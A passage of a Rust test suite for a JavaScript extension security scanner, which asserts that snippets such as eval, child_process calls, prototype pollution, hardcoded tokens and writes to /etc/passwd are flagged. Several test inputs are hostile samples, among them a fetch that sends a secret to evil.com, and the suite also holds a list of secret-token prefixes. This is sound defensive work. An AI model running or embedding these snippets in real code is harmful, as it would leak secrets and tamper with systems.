3595 line: None,
3596 }];
3597 let report = PreflightReport::from_findings("ext".into(), findings);
3598 assert!(report.risk_banner.contains("incompatible"));
3599 assert!(report.risk_banner.contains("1 error"));
3600 }
3601
3602 #[test]
3605 fn render_markdown_includes_confidence() {
3606 let report = PreflightReport::from_findings("ext".into(), vec![]);
3607 let md = report.render_markdown();
3608 assert!(md.contains("Confidence"));
3609 assert!(md.contains("100%"));
3610 }
3611
3612 #[test]
3613 fn render_markdown_includes_risk_banner() {
3614 let findings = vec![PreflightFinding {
3615 severity: FindingSeverity::Warning,
3616 category: FindingCategory::ModuleCompat,
3617 message: "stub".into(),
3618 remediation: None,
3619 file: None,
3620 line: None,
3621 }];
3622 let report = PreflightReport::from_findings("ext".into(), findings);
3623 let md = report.render_markdown();
3624 assert!(md.contains("> "));
3625 assert!(md.contains("may have issues"));
3626 }
3627
3628 #[test]
3631 fn report_json_includes_confidence() {
3632 let report = PreflightReport::from_findings("ext".into(), vec![]);
3633 let json = report.to_json().unwrap();
3634 assert!(json.contains("\"confidence\""));
3635 assert!(json.contains("\"risk_banner\""));
3636 }
3637
3638 #[test]
3641 fn capability_remediation_exec() {
3642 let r = capability_remediation("exec");
3643 assert!(r.contains("allow-dangerous"));
3644 }
3645
3646 #[test]
3647 fn capability_remediation_env() {
3648 let r = capability_remediation("env");
3649 assert!(r.contains("per-extension"));
3650 }
3651
3652 #[test]
3653 fn capability_remediation_other() {
3654 let r = capability_remediation("http");
3655 assert!(r.contains("default_caps"));
3656 }
3657
3658 fn scan(source: &str) -> SecurityScanReport {
3663 SecurityScanner::scan_source("test-ext", source)
3664 }
3665
3666 fn has_rule(report: &SecurityScanReport, rule: SecurityRuleId) -> bool {
3667 report.findings.iter().any(|f| f.rule_id == rule)
3668 }
3669
3670 #[test]
3673 fn risk_tier_ordering() {
3674 assert!(RiskTier::Critical < RiskTier::High);
3675 assert!(RiskTier::High < RiskTier::Medium);
3676 assert!(RiskTier::Medium < RiskTier::Low);
3677 }
3678
3679 #[test]
3680 fn risk_tier_serde_roundtrip() {
3681 for tier in [
3682 RiskTier::Critical,
3683 RiskTier::High,
3684 RiskTier::Medium,
3685 RiskTier::Low,
3686 ] {
3687 let json = serde_json::to_string(&tier).unwrap();
3688 let back: RiskTier = serde_json::from_str(&json).unwrap();
3689 assert_eq!(tier, back);
3690 }
3691 }
3692
3693 #[test]
3694 fn risk_tier_display() {
3695 assert_eq!(format!("{}", RiskTier::Critical), "critical");
3696 assert_eq!(format!("{}", RiskTier::Low), "low");
3697 }
3698
3699 #[test]
3702 fn rule_id_serde_roundtrip() {
3703 let rule = SecurityRuleId::EvalUsage;
3704 let json = serde_json::to_string(&rule).unwrap();
3705 assert_eq!(json, "\"SEC-EVAL-001\"");
3706 let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
3707 assert_eq!(rule, back);
3708
3709 let json = serde_json::to_string(&SecurityRuleId::ScanInputFailure).unwrap();
3710 assert_eq!(json, "\"SEC-SCAN-001\"");
3711 let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
3712 assert_eq!(back, SecurityRuleId::ScanInputFailure);
3713 }
3714
3715 #[test]
3716 fn rule_id_default_tier_consistency() {
3717 assert_eq!(SecurityRuleId::EvalUsage.default_tier(), RiskTier::Critical);
3719 assert_eq!(
3720 SecurityRuleId::ProcessBinding.default_tier(),
3721 RiskTier::Critical
3722 );
3723 assert_eq!(
3725 SecurityRuleId::HardcodedSecret.default_tier(),
3726 RiskTier::High
3727 );
3728 assert_eq!(
3730 SecurityRuleId::ProcessEnvAccess.default_tier(),
3731 RiskTier::Medium
3732 );
3733 assert_eq!(
3735 SecurityRuleId::ScanInputFailure.default_tier(),
3736 RiskTier::High
3737 );
3738 assert_eq!(
3740 SecurityRuleId::DebuggerStatement.default_tier(),
3741 RiskTier::Low
3742 );
3743 }
3744
3745 #[test]
3748 fn clean_extension_has_no_findings() {
3749 let report = scan(
3750 r#"
3751import path from "node:path";
3752const p = path.join("a", "b");
3753export default function init(pi) {
3754 pi.tool({ name: "hello", schema: {} });
3755}
3756"#,
3757 );
3758 assert!(report.findings.is_empty());
3759 assert_eq!(report.overall_tier, RiskTier::Low);
3760 assert!(report.verdict.starts_with("CLEAN"));
3761 assert!(!report.should_block());
3762 assert!(!report.needs_review());
3763 }
3764
3765 #[test]
3766 fn scan_path_missing_path_fails_closed() {
3767 let temp_dir = tempfile::tempdir().unwrap();
3768 let missing = temp_dir.path().join("missing-ext.js");
3769 let missing_display = missing.display().to_string();
3770
3771 let report = SecurityScanner::scan_path("missing-ext", &missing, &missing);
3772
3773 assert_eq!(report.overall_tier, RiskTier::High);
3774 assert!(report.needs_review());
3775 let finding = report
3776 .findings
3777 .iter()
3778 .find(|finding| finding.rule_id == SecurityRuleId::ScanInputFailure)
3779 .expect("scan input failure finding");
3780 assert_eq!(finding.file.as_deref(), Some(missing_display.as_str()));
3781 assert!(finding.rationale.contains("does not exist"));
3782 }
3783
3784 #[test]
3785 fn scan_path_single_file_preserves_filename_location() {
3786 let temp_dir = tempfile::tempdir().unwrap();
3787 let entry = temp_dir.path().join("single-file.js");
3788 std::fs::write(&entry, "eval('bad');\n").unwrap();
3789
3790 let report = SecurityScanner::scan_path("single-file", &entry, &entry);
3791
3792 let finding = report
3793 .findings
3794 .iter()
3795 .find(|finding| finding.rule_id == SecurityRuleId::EvalUsage)
3796 .expect("eval finding");
3797 assert_eq!(finding.file.as_deref(), Some("single-file.js"));
3798 }
3799
3800 #[test]
3803 fn detect_eval_usage() {
3804 let report = scan("const x = eval('1+1');");
3805 assert!(has_rule(&report, SecurityRuleId::EvalUsage));
3806 assert_eq!(report.overall_tier, RiskTier::Critical);
3807 assert!(report.should_block());
3808 }
3809
3810 #[test]
3811 fn eval_in_identifier_not_flagged() {
3812 let report = scan("const retrieval = getData();");
3813 assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3814 }
3815
3816 #[test]
3817 fn detect_new_function() {
3818 let report = scan("const fn = new Function('a', 'return a + 1');");
3819 assert!(has_rule(&report, SecurityRuleId::NewFunctionUsage));
3820 assert_eq!(report.overall_tier, RiskTier::Critical);
3821 }
3822
3823 #[test]
3824 fn new_function_empty_not_flagged() {
3825 let report = scan("const fn = new Function();");
3828 assert!(!has_rule(&report, SecurityRuleId::NewFunctionUsage));
3829 }
3830
3831 #[test]
3832 fn detect_process_binding() {
3833 let report = scan("process.binding('fs');");
3834 assert!(has_rule(&report, SecurityRuleId::ProcessBinding));
3835 assert_eq!(report.overall_tier, RiskTier::Critical);
3836 }
3837
3838 #[test]
3839 fn detect_process_dlopen() {
3840 let report = scan("process.dlopen(module, '/bad/addon.node');");
3841 assert!(has_rule(&report, SecurityRuleId::ProcessDlopen));
3842 }
3843
3844 #[test]
3845 fn detect_proto_pollution() {
3846 let report = scan("obj.__proto__ = malicious;");
3847 assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3848 assert_eq!(report.overall_tier, RiskTier::Critical);
3849 }
3850
3851 #[test]
3852 fn detect_set_prototype_of() {
3853 let report = scan("Object.setPrototypeOf(target, evil);");
3854 assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3855 }
3856
3857 #[test]
3858 fn detect_require_cache_manipulation() {
3859 let report = scan("delete require.cache[require.resolve('./module')];");
3860 assert!(has_rule(&report, SecurityRuleId::RequireCacheManip));
3861 assert_eq!(report.overall_tier, RiskTier::Critical);
3862 }
3863
3864 #[test]
3867 fn detect_hardcoded_secret() {
3868 let report = scan(r#"const api_key = "sk-ant-api03-abc123";"#);
3869 assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3870 assert!(report.needs_review());
3871 }
3872
3873 #[test]
3874 fn detect_hardcoded_password() {
3875 let report = scan(r#"const password = "s3cretP@ss";"#);
3876 assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3877 }
3878
3879 #[test]
3880 fn env_lookup_not_flagged_as_secret() {
3881 let report = scan("const key = process.env.API_KEY;");
3882 assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3884 assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3885 }
3886
3887 #[test]
3888 fn empty_secret_not_flagged() {
3889 let report = scan(r#"const api_key = "";"#);
3890 assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3891 }
3892
3893 #[test]
3894 fn detect_token_prefix() {
3895 let report = scan(r#"const token = "ghp_abc123def456";"#);
3896 assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3897 }
3898
3899 #[test]
3900 fn detect_dynamic_import() {
3901 let report = scan("const mod = await import(userInput);");
3902 assert!(has_rule(&report, SecurityRuleId::DynamicImport));
3903 }
3904
3905 #[test]
3906 fn static_import_not_flagged_as_dynamic() {
3907 let report = scan("import fs from 'node:fs';");
3908 assert!(!has_rule(&report, SecurityRuleId::DynamicImport));
3909 }
3910
3911 #[test]
3912 fn detect_define_property_on_global() {
3913 let report = scan("Object.defineProperty(globalThis, 'fetch', { value: evilFetch });");
3914 assert!(has_rule(&report, SecurityRuleId::DefinePropertyAbuse));
3915 }
3916
3917 #[test]
3918 fn detect_network_exfiltration() {
3919 let report = scan("fetch(`https://evil.com/?data=${secret}`);");
3920 assert!(has_rule(&report, SecurityRuleId::NetworkExfiltration));
3921 }
3922
3923 #[test]
3924 fn detect_sensitive_path_write() {
3925 let report = scan("fs.writeFileSync('/etc/passwd', payload);");
3926 assert!(has_rule(&report, SecurityRuleId::SensitivePathWrite));
3927 }
3928
3929 #[test]
3930 fn normal_write_not_flagged() {
3931 let report = scan("fs.writeFileSync('/tmp/out.txt', data);");
3932 assert!(!has_rule(&report, SecurityRuleId::SensitivePathWrite));
3933 }
3934
3935 #[test]
3938 fn detect_process_env() {
3939 let report = scan("const v = process.env.NODE_ENV;");
3940 assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3941 assert_eq!(report.overall_tier, RiskTier::Medium);
3942 }
3943
3944 #[test]
3945 fn detect_timer_abuse() {
3946 let report = scan("setInterval(pollServer, 1);");
3947 assert!(has_rule(&report, SecurityRuleId::TimerAbuse));
3948 }
3949
3950 #[test]
3951 fn normal_timer_not_flagged() {
3952 let report = scan("setInterval(tick, 1000);");
3953 assert!(!has_rule(&report, SecurityRuleId::TimerAbuse));
3954 }
3955
3956 #[test]
3957 fn detect_proxy_usage() {
3958 let report = scan("const p = new Proxy(target, handler);");
3959 assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3960 }
3961
3962 #[test]
3963 fn detect_reflect_usage() {
3964 let report = scan("const v = Reflect.get(obj, 'key');");
3965 assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3966 }
3967
3968 #[test]
3969 fn detect_with_statement() {
3970 let report = scan("with (obj) { x = 1; }");
3971 assert!(has_rule(&report, SecurityRuleId::WithStatement));
3972 }
3973
3974 #[test]
3977 fn detect_debugger_statement() {
3978 let report = scan("debugger;");
3979 assert!(has_rule(&report, SecurityRuleId::DebuggerStatement));
3980 assert_eq!(report.overall_tier, RiskTier::Low);
3981 }
3982
3983 #[test]
3984 fn detect_console_error() {
3985 let report = scan("console.error(sensitiveData);");
3986 assert!(has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3987 }
3988
3989 #[test]
3990 fn console_log_not_flagged() {
3991 let report = scan("console.log('hello');");
3993 assert!(!has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3994 }
3995
3996 #[test]
3999 fn report_schema_and_rulebook_version() {
4000 let report = scan("// clean");
4001 assert_eq!(report.schema, SECURITY_SCAN_SCHEMA);
4002 assert_eq!(report.rulebook_version, SECURITY_RULEBOOK_VERSION);
4003 }
4004
4005 #[test]
4006 fn report_json_roundtrip() {
4007 let report = scan("eval('bad'); process.env.KEY;");
4008 let json = report.to_json().unwrap();
4009 let back: SecurityScanReport = serde_json::from_str(&json).unwrap();
4010 assert_eq!(back.extension_id, "test-ext");
4011 assert_eq!(back.overall_tier, RiskTier::Critical);
4012 assert!(!back.findings.is_empty());
4013 }
4014
4015 #[test]
4016 #[allow(clippy::needless_raw_string_hashes)]
4017 fn report_tier_counts_accurate() {
4018 let report = scan(
4019 r#"
4020eval('bad');
4021const api_key = "sk-ant-secret";
4022process.env.KEY;
4023debugger;
4024"#,
4025 );
4026 assert!(report.tier_counts.critical >= 1);
4027 assert!(report.tier_counts.high >= 1);
4028 assert!(report.tier_counts.medium >= 1);
4029 assert!(report.tier_counts.low >= 1);
4030 }
4031
4032 #[test]
4033 fn findings_sorted_by_tier_worst_first() {
4034 let report = scan(
4035 r"
4036debugger;
4037eval('x');
4038process.env.KEY;
4039",
4040 );
4041 assert!(!report.findings.is_empty());
4043 assert_eq!(report.findings[0].risk_tier, RiskTier::Critical);
4044 let last = report.findings.last().unwrap();
4045 assert!(last.risk_tier >= report.findings[0].risk_tier);
4046 }
4047
4048 #[test]
4051 fn evidence_ledger_jsonl_format() {
4052 let report = scan("eval('x'); debugger;");
4053 let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4054 let lines: Vec<&str> = jsonl.lines().collect();
4055 assert_eq!(lines.len(), report.findings.len());
4056 for line in &lines {
4057 let entry: SecurityEvidenceLedgerEntry = serde_json::from_str(line).unwrap();
4058 assert_eq!(entry.schema, SECURITY_EVIDENCE_LEDGER_SCHEMA);
4059 assert_eq!(entry.extension_id, "test-ext");
4060 assert_eq!(entry.rulebook_version, SECURITY_RULEBOOK_VERSION);
4061 }
4062 }
4063
4064 #[test]
4065 fn evidence_ledger_entry_indices_monotonic() {
4066 let report = scan("eval('a'); eval('b'); debugger;");
4067 let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4068 let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
4069 .lines()
4070 .map(|l| serde_json::from_str(l).unwrap())
4071 .collect();
4072 for (i, entry) in entries.iter().enumerate() {
4073 assert_eq!(entry.entry_index, i);
4074 }
4075 }
4076
4077 #[test]
4080 fn single_line_comment_not_flagged() {
4081 let report = scan("// eval('bad');");
4082 assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
4083 }
4084
4085 #[test]
4086 fn block_comment_not_flagged() {
4087 let report = scan("/* eval('bad'); */");
4088 assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
4089 }
4090
4091 #[test]
4094 fn scan_is_deterministic() {
4095 let source = r#"
4096eval('x');
4097const api_key = "sk-ant-test";
4098process.env.HOME;
4099debugger;
4100"#;
4101 let r1 = scan(source);
4102 let r2 = scan(source);
4103 let j1 = r1.to_json().unwrap();
4104 let j2 = r2.to_json().unwrap();
4105 assert_eq!(j1, j2, "Security scan must be deterministic");
4106 }
4107
4108 #[test]
4111 fn multiple_rules_fire_on_same_line() {
4112 let report = scan("eval(process.env.SECRET);");
4114 assert!(has_rule(&report, SecurityRuleId::EvalUsage));
4115 assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
4116 }
4117
4118 #[test]
4121 fn should_block_only_for_critical() {
4122 assert!(scan("eval('x');").should_block());
4123 assert!(!scan("process.env.X;").should_block());
4124 assert!(!scan("debugger;").should_block());
4125 }
4126
4127 #[test]
4128 fn needs_review_for_critical_and_high() {
4129 assert!(scan("eval('x');").needs_review());
4130 assert!(scan(r#"const api_key = "sk-ant-test";"#).needs_review());
4131 assert!(!scan("process.env.X;").needs_review());
4132 }
4133
4134 #[test]
4141 fn detect_child_process_exec() {
4142 let report = scan("const { exec } = require('child_process'); exec('ls');");
4143 assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4144 assert_eq!(report.overall_tier, RiskTier::Critical);
4145 assert!(report.should_block());
4146 }
4147
4148 #[test]
4149 fn detect_child_process_spawn() {
4150 let report = scan("const cp = require('child_process'); cp.spawn('node', ['app.js']);");
4151 assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4152 }
4153
4154 #[test]
4155 fn detect_child_process_fork() {
4156 let report = scan("childProcess.fork('./worker.js');");
4157 assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4158 }
4159
4160 #[test]
4161 fn regular_exec_not_flagged_as_spawn() {
4162 let report = scan("const result = exec('query');");
4164 assert!(!has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4165 }
4166
4167 #[test]
4170 fn detect_constructor_escape() {
4171 let report = scan("const fn = constructor.constructor('return this')();");
4172 assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
4173 assert_eq!(report.overall_tier, RiskTier::Critical);
4174 }
4175
4176 #[test]
4177 fn detect_constructor_escape_bracket() {
4178 let report = scan(r#"const fn = constructor["constructor"]('return this')();"#);
4179 assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
4180 }
4181
4182 #[test]
4185 fn detect_native_node_require() {
4186 let report = scan(r"const addon = require('./native.node');");
4187 assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
4188 assert_eq!(report.overall_tier, RiskTier::Critical);
4189 }
4190
4191 #[test]
4192 fn detect_native_so_require() {
4193 let report = scan(r"const lib = require('/usr/lib/evil.so');");
4194 assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
4195 }
4196
4197 #[test]
4198 fn detect_native_dylib_require() {
4199 let report = scan(r"const lib = require('./lib.dylib');");
4200 assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
4201 }
4202
4203 #[test]
4204 fn normal_require_not_flagged_as_native() {
4205 let report = scan(r"const fs = require('fs');");
4206 assert!(!has_rule(&report, SecurityRuleId::NativeModuleRequire));
4207 }
4208
4209 #[test]
4212 fn detect_global_this_mutation() {
4213 let report = scan("globalThis.fetch = evilFetch;");
4214 assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
4215 assert!(report.needs_review());
4216 }
4217
4218 #[test]
4219 fn detect_global_property_mutation() {
4220 let report = scan("global.process = fakeProcess;");
4221 assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
4222 }
4223
4224 #[test]
4225 fn detect_global_bracket_mutation() {
4226 let report = scan("globalThis['fetch'] = evilFetch;");
4227 assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
4228 }
4229
4230 #[test]
4231 fn global_read_not_flagged() {
4232 let report = scan("const f = globalThis.fetch;");
4234 assert!(!has_rule(&report, SecurityRuleId::GlobalMutation));
4235 }
4236
4237 #[test]
4240 fn detect_fs_symlink() {
4241 let report = scan("fs.symlinkSync('/etc/passwd', '/tmp/link');");
4242 assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
4243 assert!(report.needs_review());
4244 }
4245
4246 #[test]
4247 fn detect_fs_link() {
4248 let report = scan("fs.linkSync('/etc/shadow', '/tmp/hard');");
4249 assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
4250 }
4251
4252 #[test]
4255 fn detect_chmod() {
4256 let report = scan("fs.chmodSync('/tmp/script.sh', 0o777);");
4257 assert!(has_rule(&report, SecurityRuleId::PermissionChange));
4258 assert!(report.needs_review());
4259 }
4260
4261 #[test]
4262 fn detect_chown() {
4263 let report = scan("fs.chown('/etc/passwd', 0, 0, cb);");
4264 assert!(has_rule(&report, SecurityRuleId::PermissionChange));
4265 }
4266
4267 #[test]
4270 fn detect_create_server() {
4271 let report = scan("const server = http.createServer(handler);");
4272 assert!(has_rule(&report, SecurityRuleId::SocketListener));
4273 assert!(report.needs_review());
4274 }
4275
4276 #[test]
4277 fn detect_create_socket() {
4278 let report = scan("const sock = dgram.createSocket('udp4');");
4279 assert!(has_rule(&report, SecurityRuleId::SocketListener));
4280 }
4281
4282 #[test]
4285 fn detect_webassembly_instantiate() {
4286 let report = scan("const instance = await WebAssembly.instantiate(buffer);");
4287 assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4288 assert!(report.needs_review());
4289 }
4290
4291 #[test]
4292 fn detect_webassembly_compile() {
4293 let report = scan("const module = WebAssembly.compile(bytes);");
4294 assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4295 }
4296
4297 #[test]
4300 fn detect_arguments_callee() {
4301 let report = scan("const self = arguments.callee;");
4302 assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
4303 assert_eq!(report.overall_tier, RiskTier::Medium);
4304 }
4305
4306 #[test]
4307 fn detect_arguments_caller() {
4308 let report = scan("const parent = arguments.caller;");
4309 assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
4310 }
4311
4312 #[test]
4315 fn new_rule_id_serde_roundtrip() {
4316 let rules = [
4317 SecurityRuleId::ChildProcessSpawn,
4318 SecurityRuleId::ConstructorEscape,
4319 SecurityRuleId::NativeModuleRequire,
4320 SecurityRuleId::GlobalMutation,
4321 SecurityRuleId::SymlinkCreation,
4322 SecurityRuleId::PermissionChange,
4323 SecurityRuleId::SocketListener,
4324 SecurityRuleId::WebAssemblyUsage,
4325 SecurityRuleId::ArgumentsCallerAccess,
4326 ];
4327 for rule in &rules {
4328 let json = serde_json::to_string(rule).unwrap();
4329 let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
4330 assert_eq!(*rule, back, "roundtrip failed for {rule}");
4331 }
4332 }
4333
4334 #[test]
4335 fn new_rule_id_names_are_stable() {
4336 assert_eq!(
4337 serde_json::to_string(&SecurityRuleId::ChildProcessSpawn).unwrap(),
4338 "\"SEC-SPAWN-001\""
4339 );
4340 assert_eq!(
4341 serde_json::to_string(&SecurityRuleId::ConstructorEscape).unwrap(),
4342 "\"SEC-CONSTRUCTOR-001\""
4343 );
4344 assert_eq!(
4345 serde_json::to_string(&SecurityRuleId::NativeModuleRequire).unwrap(),
4346 "\"SEC-NATIVEMOD-001\""
4347 );
4348 assert_eq!(
4349 serde_json::to_string(&SecurityRuleId::GlobalMutation).unwrap(),
4350 "\"SEC-GLOBAL-001\""
4351 );
4352 }
4353
4354 #[test]
4357 fn scan_with_new_rules_is_deterministic() {
4358 let source = r"
4359eval('x');
4360const cp = require('child_process'); cp.exec('ls');
4361globalThis.foo = 'bar';
4362fs.symlinkSync('/a', '/b');
4363fs.chmodSync('/tmp/x', 0o777);
4364const s = http.createServer(h);
4365const m = WebAssembly.compile(b);
4366const c = arguments.callee;
4367constructor.constructor('return this')();
4368const addon = require('./evil.node');
4369";
4370 let r1 = scan(source);
4371 let r2 = scan(source);
4372 let j1 = r1.to_json().unwrap();
4373 let j2 = r2.to_json().unwrap();
4374 assert_eq!(j1, j2, "Scan with new rules must be deterministic");
4375 }
4376
4377 #[test]
4380 fn findings_sorted_deterministically_within_tier() {
4381 let findings = vec![
4382 SecurityFinding {
4383 rule_id: SecurityRuleId::ProcessEnvAccess,
4384 risk_tier: RiskTier::Medium,
4385 rationale: "env".into(),
4386 file: Some("b.ts".into()),
4387 line: Some(10),
4388 column: Some(1),
4389 snippet: None,
4390 },
4391 SecurityFinding {
4392 rule_id: SecurityRuleId::ProcessEnvAccess,
4393 risk_tier: RiskTier::Medium,
4394 rationale: "env".into(),
4395 file: Some("a.ts".into()),
4396 line: Some(5),
4397 column: Some(1),
4398 snippet: None,
4399 },
4400 ];
4401 let report = SecurityScanReport::from_findings("test".into(), findings);
4402 assert_eq!(
4404 report.findings[0].file.as_deref(),
4405 Some("a.ts"),
4406 "Findings should be sorted by file within tier"
4407 );
4408 assert_eq!(report.findings[1].file.as_deref(), Some("b.ts"));
4409 }
4410
4411 #[test]
4414 fn evidence_ledger_includes_new_rules() {
4415 let source = r"
4416constructor.constructor('return this')();
4417const m = WebAssembly.compile(b);
4418const c = arguments.callee;
4419";
4420 let report = scan(source);
4421 let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4422 let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
4423 .lines()
4424 .map(|l| serde_json::from_str(l).unwrap())
4425 .collect();
4426 assert!(!entries.is_empty());
4427 assert!(
4428 entries
4429 .iter()
4430 .any(|e| e.rule_id == SecurityRuleId::ConstructorEscape)
4431 );
4432 assert!(
4433 entries
4434 .iter()
4435 .any(|e| e.rule_id == SecurityRuleId::WebAssemblyUsage)
4436 );
4437 for entry in &entries {
4439 assert_eq!(entry.rulebook_version, "2.1.0");
4440 }
4441 }
4442
4443 #[test]
4446 fn rulebook_version_is_v2() {
4447 assert_eq!(SECURITY_RULEBOOK_VERSION, "2.1.0");
4448 }
4449
4450 #[test]
4453 fn new_rule_default_tier_consistency() {
4454 assert_eq!(
4455 SecurityRuleId::ChildProcessSpawn.default_tier(),
4456 RiskTier::Critical
4457 );
4458 assert_eq!(
4459 SecurityRuleId::ConstructorEscape.default_tier(),
4460 RiskTier::Critical
4461 );
4462 assert_eq!(
4463 SecurityRuleId::NativeModuleRequire.default_tier(),
4464 RiskTier::Critical
4465 );
4466 assert_eq!(
4467 SecurityRuleId::GlobalMutation.default_tier(),
4468 RiskTier::High
4469 );
4470 assert_eq!(
4471 SecurityRuleId::SymlinkCreation.default_tier(),
4472 RiskTier::High
4473 );
4474 assert_eq!(
4475 SecurityRuleId::PermissionChange.default_tier(),
4476 RiskTier::High
4477 );
4478 assert_eq!(
4479 SecurityRuleId::SocketListener.default_tier(),
4480 RiskTier::High
4481 );
4482 assert_eq!(
4483 SecurityRuleId::WebAssemblyUsage.default_tier(),
4484 RiskTier::High
4485 );
4486 assert_eq!(
4487 SecurityRuleId::ArgumentsCallerAccess.default_tier(),
4488 RiskTier::Medium
4489 );
4490 }
4491
4492 #[test]
4495 fn install_time_risk_blocks_critical_new_rules() {
4496 let source = "constructor.constructor('return this')();";
4497 let policy = ExtensionPolicy::default();
4498 let report = classify_extension_source("test-ext", source, &policy);
4499 assert!(report.should_block());
4500 assert_eq!(report.composite_risk_tier, RiskTier::Critical);
4501 assert_eq!(report.recommendation, InstallRecommendation::Block);
4502 }
4503
4504 #[test]
4505 fn install_time_risk_reviews_high_new_rules() {
4506 let source = "const m = WebAssembly.compile(bytes);";
4507 let policy = ExtensionPolicy::default();
4508 let report = classify_extension_source("test-ext", source, &policy);
4509 assert!(report.needs_review());
4510 assert!(matches!(
4511 report.composite_risk_tier,
4512 RiskTier::Critical | RiskTier::High
4513 ));
4514 }
4515
4516 #[test]
4519 fn commented_new_rules_not_flagged() {
4520 let report = scan("// constructor.constructor('return this')();");
4521 assert!(!has_rule(&report, SecurityRuleId::ConstructorEscape));
4522 }
4523
4524 #[test]
4525 fn block_commented_new_rules_not_flagged() {
4526 let report = scan("/* WebAssembly.compile(bytes); */");
4527 assert!(!has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4528 }
4529
4530 mod proptest_preflight {
4533 use super::*;
4534 use proptest::prelude::*;
4535
4536 proptest! {
4537 #[test]
4538 fn eval_call_no_false_positive_on_method_calls(
4539 prefix in "[a-zA-Z]{1,10}",
4540 suffix in "[a-zA-Z0-9(), ]{0,20}",
4541 ) {
4542 let text = format!("{prefix}.eval({suffix})");
4544 assert!(
4545 !contains_eval_call(&text),
4546 "method call should not trigger eval detection: {text}"
4547 );
4548 }
4549
4550 #[test]
4551 fn eval_call_no_false_positive_on_identifier_suffix(
4552 prefix in "[a-zA-Z]{1,10}",
4553 ) {
4554 let text = format!("{prefix}eval(x)");
4556 let expected = !is_js_ident_continue(*prefix.as_bytes().last().unwrap());
4558 assert!(
4559 contains_eval_call(&text) == expected,
4560 "eval detection mismatch for '{text}': expected {expected}"
4561 );
4562 }
4563
4564 #[test]
4565 fn dynamic_import_never_triggers_on_static_imports(
4566 module in "[a-z@/.-]{1,30}",
4567 ) {
4568 let text = format!("import {{ foo }} from '{module}';");
4569 assert!(
4570 !contains_dynamic_import(&text),
4571 "static import should not trigger: {text}"
4572 );
4573 }
4574
4575 #[test]
4576 fn dynamic_import_detects_import_call(
4577 module in "[a-z@/.-]{1,20}",
4578 ) {
4579 let text = format!("const m = import('{module}');");
4580 assert!(
4581 contains_dynamic_import(&text),
4582 "dynamic import should be detected: {text}"
4583 );
4584 }
4585
4586 #[test]
4587 fn extract_quoted_string_roundtrips_double(
4588 content in "[a-zA-Z0-9 _.-]{0,50}",
4589 ) {
4590 let input = format!("\"{content}\" rest");
4591 let extracted = extract_quoted_string(&input);
4592 assert!(
4593 extracted == Some(content.clone()),
4594 "expected Some(\"{content}\"), got {extracted:?}"
4595 );
4596 }
4597
4598 #[test]
4599 fn extract_quoted_string_roundtrips_single(
4600 content in "[a-zA-Z0-9 _.-]{0,50}",
4601 ) {
4602 let input = format!("'{content}' rest");
4603 let extracted = extract_quoted_string(&input);
4604 assert!(
4605 extracted == Some(content.clone()),
4606 "expected Some('{content}'), got {extracted:?}"
4607 );
4608 }
4609
4610 #[test]
4611 fn extract_quoted_string_none_for_unquoted(
4612 text in "[a-zA-Z0-9]{1,20}",
4613 ) {
4614 assert!(
4615 extract_quoted_string(&text).is_none(),
4616 "unquoted text should return None: {text}"
4617 );
4618 }
4619
4620 #[test]
4621 fn is_debugger_statement_deterministic(
4622 text in "[ \t]{0,5}debugger[; \t]{0,5}",
4623 ) {
4624 let r1 = is_debugger_statement(&text);
4625 let r2 = is_debugger_statement(&text);
4626 assert!(r1 == r2, "is_debugger_statement must be deterministic");
4627 }
4628
4629 #[test]
4630 fn timer_abuse_only_triggers_below_10(interval in 0..100u64) {
4631 let text = format!("setInterval(fn, {interval});");
4632 let result = contains_timer_abuse(&text);
4633 if interval < 10 {
4634 assert!(result, "interval {interval} < 10 should trigger");
4635 } else {
4636 assert!(!result, "interval {interval} >= 10 should not trigger");
4637 }
4638 }
4639
4640 #[test]
4641 fn hardcoded_secret_detects_known_token_prefixes(
4642 prefix in prop::sample::select(vec![
4643 "sk-ant-".to_string(),
4644 "ghp_".to_string(),
4645 "gho_".to_string(),
4646 "glpat-".to_string(),
4647 "xoxb-".to_string(),
4648 ]),
4649 suffix in "[a-zA-Z0-9]{10,20}",
4650 ) {
4651 let text = format!("const token = \"{prefix}{suffix}\";");
4652 assert!(
